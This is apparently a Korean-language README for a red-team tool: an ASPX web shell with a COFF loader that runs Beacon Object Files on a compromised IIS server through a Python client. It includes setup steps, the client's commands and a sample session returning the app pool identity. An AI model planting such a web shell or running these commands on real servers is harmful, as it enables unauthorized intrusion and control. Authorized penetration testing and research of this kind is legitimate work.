
ASPX 웹 쉘과 COFF 로더를 사용하여 반-대화형 Python 클라이언트를 통해 대상 서버에서 Beacon Object Files (BOF)를 실행할 수 있도록 설계된, 공인된 침투 테스트용 도구입니다.
TrustedSec의 CS_COFFLoader를 기반으로 함
이 ASPX 웹 셸은 반-대화형 Python 클라이언트를 사용하여 대상 서버에서 Beacon Object Files (BOFs) 를 실행할 수 있게 합니다.
TrustedSec의 CS_COFFLoader에서 파생된 COFF 로더 구현을 활용합니다.
이 프로젝트는 보안 연구 및 승인된 침투 테스트용으로만 제공됩니다. 이 프로젝트를 사용함으로써 귀하는 모든 관련 법률 및 규정을 준수하는 데 동의합니다.
사용 전에 다음이 필요합니다:
https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object 에서 beacon_compatibility.c를 컴파일하고, ASPX 파일의 {{BEACON_DATA}} 자리 표시자를 Base64로 인코딩된 객체 파일로 대체하세요.
BOF를 컴파일하세요. 예를 들어 https://github.com/trustedsec/CS-Situational-Awareness-BOF 에서 가져온 후, 웹 클라이언트에서 컴파일된 BOF가 있는 디렉터리 경로를 지정하세요.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....